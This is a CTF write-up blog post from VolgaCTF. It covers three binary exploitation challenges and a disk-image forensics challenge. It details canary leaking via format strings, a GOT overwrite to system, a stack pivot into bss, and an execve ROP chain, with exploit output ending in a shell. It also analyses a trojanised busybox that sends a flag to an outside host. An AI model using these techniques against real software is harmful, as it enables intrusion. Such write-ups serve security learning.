Hi all,

I participated in VolgaCTF with irGeeks Team. You can see some brief writeups and solutions below.

Web of Science - 250 pts

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

As we can see NX is disabled. so we can use stack frame pointer to overwrite ret addr of add_paper to our shellcode which located at bss.

flag: VolgaCTF{executable_st@ck_doesnt_cause_@ny_problems_d0es_it}

full exploit: sol.py

Web of Science 2 - 350 pts

Same as Web of Science but we have NX enabled. So in order to pop a shell we're going to overwrite fread_got with system addr. in add_paper (0x400EBE) function we can use option 6 to system("/bin/sh;").

percisely we use print_info (0x401323) [tag property] to use FSB to overwrite fread_got. for eg. set name to 0x000000602060 and use tag property with something like %3c%16$hhn. So we wrote LSB of fread_got.

flag: VolgaCTF{DEP_with0ut_ASLR_is_us3less}

Of course ASLR seems to be disabled which i noticed later.

full exploit: sol.py

Web of Science 3 - 400 pts

Same as wos2 + sha1 challenge and protection for system("/bin/sh") =>

You might say I've certain love affair with the system programming - an obsession, really. I came to realise that I would never truly achieve mastery in it without knowing what it was like to have to use syscalls instead of the fancy libc's system function. So I decided - quite out of the blue, actually - to get rid of this function once and for all. No more system in my library!

Ok so we're going to use syscalls to pop a shell. purposed rop chain to pop a shell execve("/bin/sh", 0, 0); is:

pop rdi; ret
address of "/bin/sh"
pop rsi; pop r15; ret
0x0
0x0
pop rdx; ret
0x0
pop rax; ret 
0x3b (execve code)
syscall

using leaked __libc_start_main and wos3 rop gadgets. but there's a point. The binary has canary checking enabled and how we're going to hijack the execution flow. Remember how function epilogue occured at the very late of a function in x86:

leave; ret

which is equivilant to :

mov rsp, rbp;
pop rbp
ret

Suppose that we change saved stack frame addr (saved rbp) of prior called function. So at leave; ret of former function (in this case main()) we will jump to our payload which has our rop chains. but remember the canary checking. First we should leak the prior function cookie using FSB and then use this cookie in start of our payload since:

mov rax, [rbp-0x8]
xor rax, fs:0x28

And at the end we have following payload: payload = leaked cookie + "A"*8 + rop chains

And the scenario : replacing main saved ebp with 0x000000603100 (bss papers data start) + 0x8

running the exploit:

bp leaked address: 0x7ffc6943b1e0
ebp leaked: 0x7ffc6943b1e0
leaked cookie: 0xe2812e9f4bb01b00L
leaked address: 0x7fc0d6811dd0
System_addr: 0x7fc0d6836640
byte written 0x08
byte written 0x31
byte written 0x60
byte written 0x00
byte written 0x00
byte written 0x00
byte written 0x00
[DEBUG] switch to interactive mode


Choose command to perform
[1]. Add paper
[2]. Delete paper
[3]. List papers
[4]. View paper info
[5]. Exit

> 5


ls
flag_wos3.txt
install
killer_wos3
libc.so.6
server
start_wos3
web_of_science3
cat flag_wos3.txt
VolgaCTF{DEP_and_@SLR_may_be_usel3ss}

** remember due to using gets cookie should not have special chars like \x0a, \x0b, ... which eliminates our payload. So you may try again.

** In overall prespective you may tell i chose a hard way since you can overwrite ret instead to your local stack shellcode address so it's not needed to leak cookie and ... . but in this case we should not deal with stack addresses and just a permanent bss address

flag: VolgaCTF{DEP_and_@SLR_may_be_usel3ss}

full exploit: sol.py

Image Archeology - 250 pts

We are given a image file image_archeology.img.

hamidx9$ file image_archeology.img 
image_archeology.img: DOS/MBR boot sector; GRand Unified Bootloader, stage1 version 0x3, 1st sector stage2 0x4099

Ok Let me check the fs using fdisk.

hamidx9$ fdisk -l image_archeology.img
Disk image_archeology.img: 15 MiB, 15728640 bytes, 30720 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3010cdf2

Device                Boot Start   End Sectors  Size Id Type
image_archeology.img1 *       39 27260   27222 13.3M 83 Linux

A partition which we are going to mount and check:

hamidx9$ sudo losetup /dev/loop1 -o 19968  mage_archeology.img
hamidx9$ mkdir mnt; mount /dev/loop1 mnt; cd mnt

We are interested in core.gz which has the root filesystem.

hamidx9$ mkdir ../fs; cp core.gz ../fs; cd ../fs
hamidx9$ gzip -d core.gz
hamidx9$ ls 
core
hamidx9$ file core
core: ASCII cpio archive (SVR4 with no CRC)
hamidx9$ cpio -i < core 
21276 blocks
hamidx9$ ls
bin  busybox.1  core  dev  etc  home  init  lib  linuxrc  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var
hamidx9$ grep -n -r -i volga *
Binary file bin/busybox2 matches
grep: busybox.1: No such file or directory
Binary file core matches
hamidx9$ strings -a bin/busybox2 | grep -i volga
hacker.volga.ctf
hamidx9$ grep -n -r busybox2 *
grep: busybox.1: No such file or directory
Binary file core matches
opt/bootlocal.sh:3:(sleep 1; sudo mv /bin/busybox2 /bin/busybox) &
hamidx9$ grep -n -r bootlocal.sh *
grep: busybox.1: No such file or directory
Binary file core matches
opt/bootsync.sh:3:# Use bootlocal.sh for system startup commands that can run in the background 
opt/bootsync.sh:6:/opt/bootlocal.sh &
hamidx9$ grep -n -r bootsync.sh *
grep: busybox.1: No such file or directory
Binary file core matches
etc/init.d/tc-config:621:/opt/bootsync.sh
usr/bin/fromISOfile:5:# After boot in /opt/bootsync.sh with /usr/bin/fromISOfile sdb1
usr/bin/sethostname:4:# Now callable via /opt/bootsync.sh when no boot host= is specified.
hamidx9$ 

As we can see at booting the system up /bin/busybox2 will be renamed to /bin/busybox and will be called later on each command execution. We verify this behavior with running the image in Qemu. So the interesting part should be busybox2 binary file.

Disassembling the file revealed that busybox2 does the following jobs:

1- Constructing the flag
2- fork and execute ‘/lib/modules/3.16.6-tinycore/busybox’ with current argv.
3- sleep for random second, lookup the ‘hacker.volga.ctf’ domain and send the flag to its tcp:8888 port, show ‘System tired.. time to sleeeeep……zzzzz’, execute ‘/sbin/reboot’ and exit in the child.

So what we’re going to do is accessing hacker.volga.ctf.

hamidx9$ echo “127.0.0.1 hacker.volga.ctf hacker” | sudo tee /etc/hosts
hamidx9$ ./busybox2 &
hamidx9$ nc -v -l 8888
VolgaCTF{NoTH1nG_InT3R3$t1nG_Ju$T_A_F1@G}
hamidx9$

Regards,

Hamid Zamani

Comments